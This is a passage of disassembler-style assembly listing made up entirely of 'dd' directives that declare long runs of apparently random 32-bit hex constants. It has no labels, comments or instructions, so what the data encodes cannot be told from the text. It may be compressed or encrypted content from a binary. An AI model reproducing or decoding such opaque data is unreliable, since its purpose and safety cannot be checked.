		dd 19C1FE65h, 0E40A565h, 2F2822BDh, 24D64F49h, 2F183DC7h
		dd 534C46D0h, 1EE9A154h, 0C5FF02CBh, 4882CB03h,	286CA40h
		dd 20685881h, 1E426B0Bh, 60802257h, 0F56802E5h,	0EA391B5Dh
		dd 2792D41Bh, 0CBC2DED6h, 0D229574Dh, 0D6DCCD8Bh, 0C7747C59h
		dd 52AB2D68h, 0E59A2D93h, 0ED0F43DBh, 3A3F2455h, 87D50EAh
		dd 0C7D35E2Fh, 42DE5E2Fh, 6974FAE9h, 4ECCE12Dh,	9DBC63A0h
		dd 52806DDCh, 0B5511BB6h, 0EE303F6Bh, 0E979055Eh, 7EBAB1C8h
		dd 305B3D66h, 803E31D2h, 0E1E686F1h, 0AF5FBC7Bh, 5A2486CAh
		dd 10098905h, 0C370CBD8h, 164D7C12h, 28BA3A01h,	812E2B3Bh
		dd 65E2FD5Fh, 0AB2D6ABFh, 57987731h, 0FE69B8E7h, 8004CE61h
		dd 0C6DCF2E6h, 915E2AE9h, 92899486h, 0A74AA5Dh,	2063F504h
		dd 0FA52F5h, 0FFF57BBBh, 5467ABDh, 295CD9CAh, 30E3EC3Eh
		dd 0A001CC4Ah, 0CBC05010h, 0A76D1830h, 73340C7Ah, 0E91A62F0h
		dd 62832526h, 0C0FE4062h, 4D862C71h, 300848ADh,	0B2736B1Ch
		dd 170B6AE7h, 0B9AB3404h, 0B7F6A5ACh, 44B7FC7Ah, 126D5467h
		dd 0B594B909h, 45D4C8D1h, 0ADCFA03Ch, 535AE7C4h, 69E38F05h
		dd 48E195B4h, 0C05ED16Bh, 0DA270B1Bh, 6C95229Dh, 0EFAFFDD7h
		dd 0B40D2EC1h, 151CA489h
		dd 837E3200h, 82DA0120h, 0BA71080Bh, 1932016Ah,	43A2FD5Ah
		dd 98D7F5C2h, 9D2DBA23h, 864AB73Ah, 0BC7A7282h,	20D6700Bh
		dd 4348CC89h, 0C4F1013Ah, 0D8319107h, 0BD2708F8h, 4C3D1A14h
		dd 55D9DB19h, 0EE25EC38h, 9A95E4F0h, 0F3D97FE8h, 849C2768h
		dd 2CF70AB7h, 0C8E51972h, 9F01490Ah, 99893BD3h,	4A14F513h
		dd 1EAAA20h, 0E743C4B8h, 21C22133h, 5D50F0A2h, 0F6779825h
		dd 0AD1004E7h, 5D0CC651h, 83A395E0h, 0D50BE998h, 92F4D1B7h
		dd 5D9EB021h, 2E1C72BFh, 1425350h, 5B041927h, 8705D843h
		dd 0B30973B3h, 0A52C7B12h, 0DC6BAE5Ch, 0CA5EA50Bh, 86A6F62Ch
		dd 0FFE17D16h, 0B9BD682Eh, 0F4979E70h, 375C7AEFh, 5B96A05Ah
		dd 17610A1Ch, 0FD9C95E9h, 71297747h, 0CC0BC862h, 29A604EAh
		dd 363032AAh, 0C383E074h, 0F46D2D3Fh, 2F12B4BDh, 0CA24BADFh
		dd 0D521AF90h, 0E7C11234h, 53E00308h, 0CCEC85Bh, 16A0B102h
		dd 0C1FB89F6h, 8604ED14h, 98B4B261h, 0CFE6DF00h, 0C0EE2910h
		dd 0C74C612h, 9FB86705h, 0FF5BDB40h, 0D4E9017Fh, 0E46EC371h
		dd 73975549h, 6622039Ah, 0C5C27DCFh, 5EBD302h, 80DB8D5Ah
		dd 0F7DDB9C8h, 5AE92D64h, 0F96C1681h, 77578B28h, 0B79874B4h
		dd 511FD20h, 0C03C84BFh, 0AC0BFB19h, 9FDD502Eh,	518EDF1h
		dd 2559DAE4h, 47D240Bh,	0C5A8A8D4h, 5F6E8F5Fh, 2D355C40h
		dd 44E9106Ah, 0C90180C3h, 50B252CEh, 4760D128h,	0F4AA4B47h
		dd 75456E04h, 715FB592h, 53AE529h, 27D8E01h, 0A63C7CCCh
		dd 0FD80F501h, 1018333h, 0E27B47ECh, 65D7897Eh,	0E222FB9h
		dd 0E7DD793Bh, 0B8500021h, 30DE4C16h, 9724419Ah, 9517EA5h
		dd 35BFD83Bh, 0C4B1209h, 3F350766h, 0E9B00780h,	30B6609Ch
		dd 7B0268ADh, 58D8DBCBh, 0D4F097C9h, 28B6B20Eh,	45AC3D0h
		dd 6EC2B441h, 97ECFCF2h, 0E7770CCFh, 0C84F290Eh, 829B39FAh
		dd 0EB1672FEh, 687BC02Eh, 5EB9054Fh, 0D02B4DE9h, 54614CDCh
		dd 0CB892D1Fh, 0C42DAB1Fh, 8344A10Dh, 3C93A96Ah, 0E5F4126Dh
		dd 0DAC5FAE9h, 8844BF5Bh, 79D884ECh, 97B88034h,	3C3DD482h
		dd 0EF8AB013h, 9C73376h, 69BD6855h, 0DDE948D9h,	0E1358514h
		dd 0BD82A394h, 7D167F29h, 79A5E280h, 0E92FE209h, 2DAE74D1h
		dd 0F71C3A73h, 74F03B6Ah, 6B861751h, 0DCACA80h,	571762Dh
		dd 0E235D1C9h, 2DC4BC68h, 67DEE049h, 31662EB5h,	0E3FD89C4h
		dd 60651E54h, 91B84CB0h, 0BC29F2Fh, 5C8DA0Ch, 9F3B55B7h
		dd 22E3026Ah, 8021037Eh, 0E94B0499h, 0B3464BD9h, 156058Fh
		dd 3109679Eh, 0F654C88Ah, 0F05C4AEFh, 0F15EB507h, 0B045998Ch
		dd 8FB29786h, 13F80B40h, 8E0518C0h, 92656727h, 0C4154E76h
		dd 0BDC0FAC2h, 0E584B2Dh, 13355DE7h, 0EEF1DEA5h, 273134C9h
		dd 0C0A7037Bh, 0ED9907E5h, 5682008h, 0DF6AD5FCh, 933B6B8Ah
		dd 54F3AB2Ch, 3E12850Eh, 0B34F8B34h, 0FAB2644Ah, 82CB3492h
		dd 6A25ADh, 89504A05h, 2B950E75h, 15C6C0F5h, 0E16E97BEh
		dd 0D36403F6h, 77A458CAh, 0AE2A656Ch, 0BA49EA5Bh, 6C1E544Fh
		dd 0E25830A8h, 0E4D2B26Eh, 0FFC73C29h, 671EF315h, 4C01295Bh
		dd 1FFF5A8h, 3C2A5B54h,	552EE953h, 0D19D7988h, 0B25B0FCBh
		dd 4F597D53h, 5316FA12h, 91C170C9h, 0B120B76h, 2AAED3D2h
		dd 0EC274E89h, 7B9DEC53h, 1087AC49h, 0F3F650EDh, 1962ADF0h
		dd 7E5BDED7h, 16923D2Bh, 0A1D7A8EFh, 3162FAB9h,	25FD4112h
		dd 0A382BF1Ah, 0E8EF5552h, 5B4F7E0Ah, 0E630DAADh, 0FFEA31BCh
		dd 685EF3E2h, 94BAD6B3h, 8838E01Eh, 0DEA32B5Ah,	31687054h
		dd 3C6559CAh, 54B3004Ch, 0AAC33080h, 0C4041A06h, 92450E9Fh
		dd 0FC7DE3F5h, 3B5EA110h, 0D1A71740h, 555F4622h, 74B2B4E0h
		dd 0FEEBC5CEh, 13C92616h, 0EE25B4FDh, 1A85622Fh, 6C0525E8h
		dd 327CC819h, 5303573Ah, 0BBA27BB2h, 0EDEC668h,	532E7649h
		dd 8B56142Ch, 3D6D412h,	0BF983079h, 0A768AC12h,	2B3715Fh
		dd 6DE96C04h, 0CE78E8EBh, 0E0440907h, 48366916h, 0BF17D876h
		dd 0B17E2F7h, 0F41C6F09h, 0EC3442EFh, 0E34F609h, 0D343CA87h
		dd 0FB93DF31h, 0B7D5087Ah, 7ECB457Dh, 21A49EE3h, 2B0736F0h
		dd 4E5904D8h, 4E908B7Eh, 5753B306h, 3B6C41E2h, 7EEA1CCDh
		dd 79F927C7h, 462083E9h, 0B29709A7h, 27F6FEF3h,	8C20ED0Bh
		dd 3E701657h, 0E8CEC4E9h, 0A9F4A2F3h, 8828DCC4h, 0BE607253h
		dd 13CC6633h, 0A3F0215Ah, 7A4031BAh, 8000E59Fh,	0ACF0DDEBh
		dd 0F425D2BEh, 7EB171FCh, 9BEEA485h, 26BB4C23h,	0C0CB1CAAh
		dd 2F5B3864h, 0E7764A68h, 111F799h, 4B4AC12Bh, 0C788011Ch
		dd 0B7E4FAC9h, 0BFD6A604h, 24FDE68Bh, 30933CADh, 2D4CFB68h
		dd 0C189E09Fh, 86C4E0FDh, 2F822842h, 5D6F0BFCh,	0DA801BB4h
		dd 40B69DEBh, 90945895h, 1D59C74h, 0C1173DBDh, 5DF93E73h
		dd 1A20204Ch, 9420649Ch, 4E16548h, 6AB5510Ah, 2D285987h
		dd 0A8DF0F57h, 0A88917D0h, 0B268847Bh, 97DFCDECh, 0B239ACE3h
		dd 273CF42Dh, 51707074h, 391100B9h, 0E1C10DB4h,	65EFE908h
		dd 86B37F1Eh, 14CFC3C4h, 16FC02B3h, 68291AE8h, 59E9CEADh
		dd 83092220h, 0F1FC01EBh, 36090790h, 5800B01Ah,	0DA2B8DF3h
		dd 0B9481160h, 0BA1DAB03h, 0B2D14DC2h, 10320B01h, 7A5F5259h
		dd 0C702728Eh, 99F0C011h, 81A0BE61h, 6209EB17h,	47610AB0h
		dd 0CE15A7Eh, 8B9EF7FCh, 40B5D1A5h, 6CF06853h, 3A179FBBh
		dd 515B7D83h, 952E1DCCh, 0DF83FAE4h, 753FD210h,	801096Ah
		dd 6FA1C6E9h, 58077CF7h, 948E668h, 0B77E5F5h, 45578F54h
		dd 9E66A7B1h, 2DBB034Dh, 6E2C9A5Dh, 0CF5724EBh,	0AF829F66h
		dd 0EE3DC7C6h, 0E9070410h, 520E3CC1h, 29C0F9C9h, 5C09AB68h
		dd 575D745Bh, 0F75AB0Ah, 6A2C3D07h, 0F8024D0Ch,	0ABE94FD5h
		dd 0CAC5F511h, 0F0CC722Eh, 29309F7Bh, 747B4DD0h, 0ED990082h
		dd 0A606FB0Ah, 8219F261h, 0D102DA76h, 0C4676415h, 1E4C2FDDh
		dd 2C0B64C6h, 0D7481059h, 0D4563905h, 0CC81410Ch, 0C458B74Dh
		dd 42015C05h, 0AE0D31FFh, 0A12ECE41h, 1EA02C3h,	684B18FDh
		dd 5B48543Bh, 34C825E9h, 0A972EFA2h, 3A570500h,	0B0505ECCh
		dd 9B636419h, 64FDF97h,	0AA40D2DCh, 0EF050E53h,	291C1D94h
		dd 97DA04AFh, 0E4EB4073h, 0F6611715h, 9DB5B2BAh, 68502FDEh
		dd 0E73C536Ah, 8CE9500Dh, 14B13B2Fh, 0BA5E883Eh, 0D5CB465Ah
		dd 0D8DB307Dh, 0D0F79732h, 0E74FC1E6h, 9171EB87h, 0F440DE6Eh
		dd 5A3B7AF8h, 0AD79423h, 25325F08h, 0CD637651h,	0B40A1DB0h
		dd 0A0EFD7F1h, 0C2700459h, 252CF025h, 6EC85A89h, 6B088014h
		dd 0DDC939B4h, 0E986914Fh, 213E62h, 0D37C05CEh,	0DEF74678h
		dd 22E904C3h, 0BD2000E8h, 5C20331Ah, 83C4EF31h,	0EABD505Dh
		dd 5C03EEF5h, 1A758968h, 87AE60E1h, 0D8022156h,	0F064EB2Eh
		dd 54078222h, 8F516905h, 2DE875C9h, 3EFE08F1h, 35F812D6h
		dd 8A00DB2Fh, 98137CBBh, 0D04B4A2Dh, 8754A113h,	0F71A94F8h
		dd 0E420E2E9h, 31A5404Eh, 4A42CD48h, 0FC0519C2h, 7922B708h
		dd 0B64053F4h, 0B038F75Ah, 2738960Dh, 994F14F7h, 0BB5360D6h
		dd 0BC265B25h, 0AA01E56Ch, 4307FF64h, 0EA6D4A97h, 0F5E32D75h
		dd 7FBBBA60h, 423D2298h, 0CA1D5BE9h, 0DDCC9D49h, 6C2D9C64h
		dd 9F776C53h, 8D2EEB34h, 25C0FFCAh, 42E7712h, 0EA3DC7B9h
		dd 0FF4F8327h, 0F1040376h, 77F316FDh, 49A40EAFh, 0B764F064h
		dd 5F050202h, 0D75D893Fh, 7045F42h, 54F3EF5Eh, 4E216D17h
		dd 0BDEFF394h, 229AA32h
		dd 9D5F6EF0h, 55DF80C8h, 4B40B0B0h, 0B3531366h,	374EAACDh
		dd 4CBADDEh, 520AE07Eh,	0EE9D6F60h, 60E46C70h, 8C420C72h
		dd 2F96D504h, 0E7544E18h, 9767DD93h, 993F5721h,	23052FBCh
		dd 0C8F25D5Fh, 967AB393h, 0AB8C81BBh, 8154D84Dh, 2DE6E204h
		dd 788120C4h, 36890DA2h, 2B7858E9h, 0CE8C514Fh,	2E99415Dh
		dd 0B504F5E0h, 0D2E9F353h, 0E5303981h, 5308EC30h, 0F63AE388h
		dd 0D6DC25D3h, 626B3776h, 21FAE178h, 4BDD8D38h,	0E95968FFh
		dd 9532AD24h, 0F75AD589h, 527F9A00h, 0DDBA1125h, 0BCBDF99Dh
		dd 74E9C686h, 25000E70h, 3CF46789h, 408E0C1h, 0C58972Dh
		dd 658C801Bh, 0E55813A7h, 0FCDD253Ch, 0D983714Ah, 2CFF2902h
		dd 5D0CBC66h, 9F3B7B4h,	68102C20h, 655060DFh, 0B81CC0A8h
		dd 3A7E58D2h, 35404801h, 682B08E6h, 17252DDCh, 0EC892255h
		dd 0B12E60F4h, 48D9F68Eh, 0A82F72FEh, 0C4554F89h, 615494CEh
		dd 26303D68h, 431670A2h, 92C46E19h, 0DBBAB304h,	6C5225F3h
		dd 8045EB30h, 0CCE62DE4h, 0B7FC9876h, 0FFE12826h, 0BF46C02Dh
		dd 1A7F7F39h, 0B3DB907h, 1F282D7h, 9196CCFh, 4929E957h
		dd 0DB1DD572h, 0CE285D6Fh, 0B44DE8FAh, 0A6882CFh, 0BA34574Ah
		dd 4E68520Bh, 0B3A3B048h, 27D50638h, 603E6C1h, 0CE870705h
		dd 99D596E9h, 41BC4BBh,	175E2C0h, 13C76857h, 7B5DCC3Fh
		dd 0C3CA494Bh, 87F65F27h, 5981D772h, 3A5C0B30h,	80A2194h
		dd 9544A85Bh, 0AEE28945h, 0D49966CBh, 6683DDE9h, 275F3DF5h
		dd 96268B14h, 0FB39330Eh, 42B8E069h, 19C0114h, 6C1893BFh
		dd 0B69635B9h, 0A08A13EFh, 1A82CAB5h, 175A434Eh, 4C589741h
		dd 0B9B43E35h, 0E4975D1Dh, 0CE29D7C1h, 0B7EEFA44h, 13D89487h
		dd 0ECEDA684h, 0ACBC4A92h, 0BAF527BFh, 54AC005Ah, 9525E939h
		dd 8208ED4h, 0D935587Bh, 0B1AFEC0Bh, 30F0D903h,	9A41D09Eh
		dd 0E0507488h, 7D135412h, 0D9680D80h, 0C5B59603h, 0BD2CAB57h
		dd 6D2E040Dh, 0D2C2E90Bh, 48DF4D36h, 1F40CD2Ah,	0C9685D3Ah
		dd 6632B5E0h, 2A6E7275h, 209FF04Dh, 5B5BC910h, 0FC288C45h
		dd 0D7813195h, 0E93B0420h, 10E51B59h, 95606838h, 0FEFF20B6h
		dd 80BE0C56h, 0A62AE101h, 628802E3h, 0F4E8DF34h, 0C01229B6h
		dd 52E008EEh, 68C940F2h, 2512474Ah, 7B4B39BAh, 0A46946F2h
		dd 716B3853h, 0C9E93978h, 722E84D2h, 66F1F21h, 9020F3B5h
		dd 58A7C3FDh, 0AD0C59B0h, 0A4B45051h, 8175BEE5h, 5622C0F7h
		dd 5DDA2B7Dh, 2D5DBB05h, 0E994AB0Bh, 0F76805BEh, 0F1CBBAD2h
		dd 0F1306D04h, 1741AA29h, 0E544497h, 72DE6C86h,	0EA3D0C27h
		dd 29551071h, 0C375D004h, 5FDF8033h, 137DDA0Ah,	81CFA68h
		dd 14241C34h, 0B3E92002h, 0A8D6F9BAh, 0A8C8FC07h, 0E6D8F7F9h
		dd 0C7BDEA55h, 0C9E80113h, 0CAE0AE02h, 0BC8140Ch, 77F6853h
		dd 5C92C356h, 0CA533D0h, 19C131Ah, 7B7E8ADAh, 715C248h
		dd 22A22B8Ch, 3121CEE7h, 0F6D82670h, 0FC44F805h, 43B25E9h
		dd 5D96BBF3h, 68F10FA8h, 0D8DD6819h, 96CA0A0h, 1BE96280h
		dd 9E077051h, 0DF999B0Fh, 4FCAEE40h, 766C191Dh,	63D585BCh
		dd 0A7007A66h, 2379FA82h, 67734DE9h, 0E9F1E75Dh, 0BD8550F6h
		dd 6C023DD2h, 5D4A050Ah, 9AA257BFh, 0B0B16D9h, 23C801C1h
		dd 0F8F0DA30h, 0F7D7C060h, 22D3BB1Fh, 0B0272B7h, 0D7EAE9D8h
		dd 0F6E43A57h, 9ED127B9h, 0EE12F6C8h, 0B2C0C8ACh, 0B4EA80E0h
		dd 0C7E206CEh, 0F2934ECAh, 31225C6h, 4F60A34Ah,	7E700427h
		dd 5F2CF83Ah, 68668030h, 2C0250FBh, 0F81534E9h,	0A740F0BDh
		dd 43B26F07h, 7FF25A59h, 6DE7DC0Eh, 0B9108102h,	4C6B38A8h
		dd 0CE2CCBE9h, 96C68A4Eh, 0BD1464E8h, 4200868Ah, 151EE581h
		dd 0E927140Ch, 0F888CA64h, 9B2D692Ch, 925594F5h, 3FB6BFF4h
		dd 3F2A4597h, 0EC125613h, 792C73Ah, 44ED0088h, 5F021079h
		dd 0C698D177h, 0F3266B05h, 0D9EC557Bh, 2556CB4Fh, 0BF5DC0E5h
		dd 9FBAE072h, 2174A562h, 0D9C55F12h, 6E145A81h,	0DDEBD001h
		dd 0A7F57F5Bh, 12F4E332h, 0E408EF9Fh, 27B0EF5Bh, 943F23E6h
		dd 714785F3h, 7C1B01D7h, 0E7B15815h, 2C0C3194h,	4AE83F6Ch
		dd 8B63AFC5h, 1B8FE153h, 50F01764h, 1205B95Eh, 0AB09492Fh
		dd 5E081C50h, 0DFC6AEE2h, 9B256164h, 3C516852h,	344F012Bh
		dd 3869D805h, 0C2092A5Eh, 28378E3h, 4AF58145h, 0D38F7A1Ah
		dd 4D7089BFh, 5A27C359h, 0C8C20537h, 0EA16ED9Eh, 0F13863C9h
		dd 650A4012h, 0B62A0520h, 0C9D5F8E7h, 99B4785Ah, 0C168E14Fh
		dd 0D377C20Eh, 2753ACAEh, 3FC58951h, 0E83EEBA1h, 0AE3ACA65h
		dd 5C2D4880h, 7ADAADEBh, 689B801h, 0CC0D5FEDh, 840A0C4Ah
		dd 8048B05Ch, 0FC23A901h, 290189E4h, 3D6532D2h,	0BEC33DC8h
		dd 0EB44CBBCh, 40AEAEC5h, 4757F607h, 0FE9D6519h, 4948A72Fh
		dd 499FBC22h, 0CD71D338h, 881D259h, 0D7583CBBh,	79BC2F3Fh
		dd 8EE201B5h, 60303C13h, 90985D33h, 0D60A2D51h,	3F842089h
		dd 229DA590h, 6D7D0432h, 0D0BF2E22h, 0CED8E929h, 0EA208B99h
		dd 9C51F105h, 0D8EF5D72h, 9525E94Eh, 681A01C4h,	992A2CA4h
		dd 0C21AC89Ah, 1259E680h, 1E2F1255h, 770FCB38h,	2D1303FDh
		dd 0D21B932h, 7FFB730h,	9B9D6835h, 5240A9AAh, 282C20EEh
		dd 0F601DBC8h, 75ED5EAEh, 7C3EF682h, 79D07F9Ch,	70ABF113h
		dd 0A46A89A1h, 0E4526C47h, 13944F92h, 134012EEh, 1CB7CACEh
		dd 0D727EF36h, 1ABF659Ch, 0C6C8DFF3h, 31921D7Dh, 8B76F695h
		dd 0BA55C40Ah, 0A546717Ah, 3FB79248h, 0E785881h, 53E7C0DCh
		dd 164321BBh, 0E9517C04h, 0BFDD3735h, 987C63E9h, 2C75F2Ch
		dd 404E6BC6h, 49B5C4C0h, 0E94A5A04h, 0F3883BF5h, 0C9203D35h
		dd 147C48A7h, 6876023Ch, 0D6897BA8h, 11800834h,	0A5F35B05h
		dd 6D94F0ABh, 68E8335Bh, 277790A4h, 260BDE0Ch, 8DFB875Bh
		dd 0F2CFF9BDh, 16AA5006h, 0FC53C0E9h, 3975A19Ch, 6E19312Eh
		dd 0BE3A87CAh, 56E076Dh, 2DC0EEC1h, 5C7D24CEh, 0C600C2C4h
		dd 0F3745596h, 0CC418AE9h, 1EF66C41h, 58B0BB04h, 691F6259h
		dd 0A55C451Dh, 84257051h, 0C2B9452Ah, 37527314h, 788ABEEDh
		dd 0F8E7DD5Ah, 0F699BB82h, 0C4365994h, 0E812B3C2h, 7AD5E7Eh
		dd 0BC7EFA3h, 6846B0FFh, 8C624FACh, 15204A9Dh, 77F50901h
		dd 637FE5E6h, 5E9FF2A7h, 0CCBE01BBh, 0F055AD09h, 0BA9557BDh
		dd 8D2A8440h, 0E62A5EB1h, 0D5E982B1h, 5C997591h, 1DF3CB53h
		dd 6465D4E9h, 0C12E809Ch, 8F10AC06h, 1B95101h, 0F764912Ch
		dd 83F202E3h, 0F09F37CBh, 0ED808CB5h, 75E8C85Fh, 0D10E1C18h
		dd 1A13ACF6h, 19003459h, 642B4ADEh, 0C10B27E9h,	0D5A5B571h
		dd 0BE55DC24h, 4B8AD385h, 761F2B7Dh, 0B8CB0C9Bh, 0F40FC2EFh
		dd 6920705Ah, 31DBE154h, 94608121h, 8DEE147Dh, 0A169192h
		dd 1F7DED0Dh, 43521B10h, 547E73ACh, 0BF098DBFh,	0FD209978h
		dd 5577DE8h, 41AA3BDFh,	1234B831h, 90FC7E6Ah, 5EF0185h
		dd 0EB7FF7D6h, 0AC867827h, 0DD2916B3h, 0D85FE087h, 70B5259Ah
		dd 0B11195C0h, 25A62CC9h, 79CC7C66h, 0C98A8355h, 0FC5F7240h
		dd 37E44113h, 3E47103Fh, 0E5C2B55Ch, 6053AD7Ah,	0E466EADAh
		dd 687C9552h, 0D7C1AB42h, 4989F51Ch, 6896501Eh,	0D93D4254h
		dd 0A4C41A60h, 36C4FF26h, 8BEC4B39h, 4D72191h, 4D99331Fh
		dd 0F627353Bh, 0DF56C6AAh, 98E64F1Bh, 5A69D6B5h, 0BD535858h
		dd 5CA7A3E5h, 3DE0A575h, 34B730B9h, 7DFB2010h, 1EEF801Eh
		dd 1C56DA17h, 5B838ABEh
		dd 528CF0E6h, 8130E925h, 2FBB40D9h, 590D1671h, 111FC109h
		dd 0C38204A9h, 2D85654h, 0F331DCBFh, 522540FFh,	49422E39h
		dd 0D1BD132Dh, 0AC55437Ah, 8000FD39h, 29774406h, 8A4D0F1h
		dd 91633A51h, 0E32C135Ah, 88AF92A3h, 0AF30E9CBh, 0F1888AC6h
		dd 7BD974F6h, 0C54276CEh, 80505516h, 9F0952ACh,	43B81400h
		dd 2D443D46h, 11B1C58h,	8E89331h, 0C7818035h, 98D95594h
		dd 2926EA3Ch, 2DB91DD6h, 77E56B98h, 102AD54Ch, 984F9A6Bh
		dd 1EB75AA7h, 8951BE64h, 0B6732FE2h, 505DDCAFh,	99C067C0h
		dd 0E8D584C1h, 0F8535BEAh, 0C319602Eh, 2C39173Dh, 8392964h
		dd 5B12DE9Ah, 0F87BCF0Bh, 0F2BB097Fh, 810747C8h, 0E0B7CEDEh
		dd 0D34C3015h, 86C30390h, 10DD8851h, 7D6F855Eh,	81C5291Ch
		dd 2747CE84h, 20E83981h, 0CFEB7B81h, 0ECB035E0h, 16C50821h
		dd 12BB63B1h, 0ECE8DD89h, 6BE1FD2Ch, 0BD02288Bh, 0EBA1B01h
		dd 0D5DE1EC2h, 2EF8F7A0h, 5841030Ah, 5900062Dh,	8ECD9705h
		dd 0E16813DFh, 2330E36Eh, 34E9891Ch, 0BD00DED8h, 118B5986h
		dd 5DE821h, 0AE2C7435h,	0B626E933h, 50E0349Eh, 9D78CB68h
		dd 78BAADC5h, 0C05502EFh, 0D5BD027h, 0D4BD60D3h, 179F7C0Bh
		dd 8BA96A84h, 5F728088h, 2F687C90h, 0CCBB2C66h,	4BBA042Dh
		dd 0C7491543h, 9492C5E6h, 0B6B1FBFAh, 0C09D20E4h, 4E1DB812h
		dd 0ADB843BAh, 26291340h, 3782DD8h, 1C0519AFh, 0E865D589h
		dd 46757EA5h, 62E6815h,	0A8FA614Bh, 58D8E55Ch, 4E3B0E0Dh
		dd 6DA37A33h, 25886349h, 21001DF5h, 4BE03576h, 2DE91207h
		dd 0B09344D5h, 50BED7C1h, 5A11CFE6h, 1C7BD43Bh,	243FEBF7h
		dd 3326B134h, 4AE7C518h, 12C02D68h, 63CAA201h, 0E93CFC69h
		dd 2DD4459h, 30FEC780h,	1CF596FCh, 903B050h, 855058C2h
		dd 0DA76E270h, 3CED5B70h, 6FE90B85h, 21F44CEh, 6D4D6857h
		dd 0A1E1706Eh, 879C2E6Ah, 85683B58h, 1727E9C0h,	0A7DCF3ABh
		dd 7A902346h, 0B074FE22h, 29B040FBh, 11EC178h, 9BD656D9h
		dd 55607987h, 0E6F2895Eh, 504A025Dh, 941ABCB8h,	38E68641h
		dd 0F70501B6h, 55714909h, 84923768h, 6D9909A5h,	8609F0C6h
		dd 0DE70818Ch, 76353BCh, 0F829BD74h, 2AE9352Dh,	4D3DF2Bh
		dd 0A30F45EAh, 0ACB51Dh, 166EE908h, 0F7FB8DA8h,	2DB4D75Ch
		dd 6592F5F6h, 0F24A1361h, 57E15904h, 7759613Bh,	96E2729Bh
		dd 9A9CB11h, 0F428E3B3h, 622C0E84h, 0B652C8C0h,	3820E9A1h
		dd 0C68102EAh, 7D062A16h, 222EA5Fh, 78965F08h, 0A06C2D0Bh
		dd 4E7002A0h, 0B7F614DAh, 68DF0797h, 7657AB09h,	72D57A90h
		dd 0B79F8C7Dh, 5196DCD6h, 25692EAAh, 0A3B2551Ch, 528377DBh
		dd 0BA62E9h, 1B5CC745h,	585E19A1h, 22FE892Fh, 0EC379069h
		dd 24FEB0A7h, 8C8AAA70h, 0B406FFC3h, 3E3C009h, 28454F6h
		dd 0B3AAE946h, 34309D90h, 2C3DF048h, 820D9EEh, 0B05A380h
		dd 186AE530h, 0A166925h, 9061E92Dh, 0A750BFF1h,	0A03712FCh
		dd 9D16AA08h, 47649801h, 0B82A67CAh, 27A4045Ch,	278023FAh
		dd 13DC723Dh, 0ADD50189h, 0DE0A9633h, 284284E9h, 5FD242FAh
		dd 0D77EE040h, 125FEB88h, 1EF8C03Eh, 0A812BF19h, 0E4B3EC05h
		dd 84DE6AC3h, 0C65AE2FEh, 655D6C8h, 0DE0D39EAh,	8806BE61h
		dd 422D2925h, 0C236C0D2h, 30161486h, 79E461F9h,	55FB03FCh
		dd 8C5838A5h, 42D6EBACh, 45474CE1h, 63E9AC40h, 0DC092327h
		dd 821F20DEh, 17A2080Bh, 5CBB6034h, 10B0ACFh, 195205Eh
		dd 236A9D5Fh, 0CD5EF731h, 0D6BA2CF8h, 57D105EEh, 0E335BB8Fh
		dd 50C41FEAh, 0C3F05A34h, 5D552A68h, 0B2CB2783h, 6B4DB620h
		dd 9376CD7h, 0E0F5D2C7h, 29BAA6D0h, 7A853D1Bh, 61732313h
		dd 816EB4E9h, 39E0F7F7h, 0A06F407Fh, 495511Ah, 0FCC4593Ah
		dd 0BDA5F5D5h, 0A284342h, 82B1E4Bh, 571694FDh, 3704A7E8h
		dd 0AA7A9769h, 701A684h, 30D1E95Fh, 247C922Fh, 0F1254A54h
		dd 0BB76499Ah, 0B5E39B5Eh, 0EA50416h, 5C0104A2h, 0CF8D30BAh
		dd 474B2A23h, 5F0829E4h, 28F7DDDCh, 0FB2E7E52h,	2C84BC97h
		dd 0AC87287Ch, 4DA45C49h, 3B86F42h, 619E82F4h, 540E9D56h
		dd 2953EB5Eh, 1F0157DFh, 3FBF258Ch, 9A81101h, 0C813ECAh
		dd 0B6F1A466h, 87AC6A29h, 613AD097h, 5D40154Eh,	5E792CE9h
		dd 4B30C214h, 0D57118F7h, 0A0A5B925h, 0FB15348Ch, 0F22E82F0h
		dd 832CDE84h, 0EB0BD730h, 79252068h, 0B7299CA2h, 0AFFD8432h
		dd 0F96B6329h, 700D38A4h, 44AA5395h, 4BF2F87Fh,	9E07CBEh
		dd 0BAA011FFh, 45253303h, 0F6E7488Fh, 613D0B6Ah, 0B50E31D1h
		dd 6904D36Bh, 0EB860683h, 0D0EA1DE2h, 35F349E3h, 88399A66h
		dd 6D9078DDh, 9607952Dh, 5618FAF0h, 332D8528h, 32BF89F0h
		dd 0CFD2ABF9h, 30E9857Dh, 4855B3E8h, 6C4B50CBh,	4D2F167Fh
		dd 231E59Bh, 7A1FF2F1h,	0BDED2AC0h, 61899883h, 0C0324B1Dh
		dd 31305C0h, 0E93F7A0Bh, 80F07EC9h, 4F2160C3h, 0D801097Bh
		dd 5786055Bh, 0DD41C7Ch, 9492EC9Eh, 0F8E950DBh,	6131094Fh
		dd 0CD7A75ECh, 740AE57Dh, 0C217BE1Bh, 9B4EC68h,	0A8095B3Fh
		dd 409D4C21h, 5075E08h,	135852E4h, 84C7C8E4h, 45F06151h
		dd 0F78281EEh, 8840A833h, 0B5315B5Ah, 4488F9F6h, 0FD2633EDh
		dd 2E3A07F1h, 0FC3F02A1h, 115A173Dh, 0E3D630A2h, 201E589Eh
		dd 515A274Bh, 73926C66h, 40D2E92Fh, 2C5BB940h, 12B26921h
		dd 31ABB197h, 3DF12074h, 4BA7041Bh, 9F449040h, 4C0EB040h
		dd 425E2A13h, 23D62D43h, 1395B5EBh, 0FA1A0108h,	68DEE955h
		dd 526376D9h, 9253A84Ah, 49245462h, 1139EF02h, 3AFCC575h
		dd 155FA4F6h, 0C559AFE9h, 60B17828h, 15F8AA33h,	9066AEDh
		dd 4350E9D6h, 68E3094Dh, 421B625Dh, 5B92C005h, 0B20720AAh
		dd 0DFA4A472h, 0E989B0AEh, 52CC60B5h, 168D2479h, 142105BBh
		dd 7F09EF33h, 279D94DAh, 0B05F3487h, 5FBFE97Bh,	0CD89D30Dh
		dd 6D160662h, 603B5681h, 72884A70h, 0D0307DB3h,	9EFA3384h
		dd 2AF402E5h, 0A0FD4768h, 0E68DEA48h, 84BF5B6Dh, 5CFC62D1h
		dd 1834F264h, 15816B10h, 86F62B9Ah, 0EC17CAB9h,	957B5CA4h
		dd 74EE55Bh, 77E4D208h,	263930DAh, 0C1845052h, 0D9ADDE0Ah
		dd 3603FCE9h, 61C7460h,	25496B90h, 951C0C6Eh, 14D6516h
		dd 80528CAh, 98B13917h,	0CA43AD2Bh, 7DA59BCBh, 0E97C9A34h
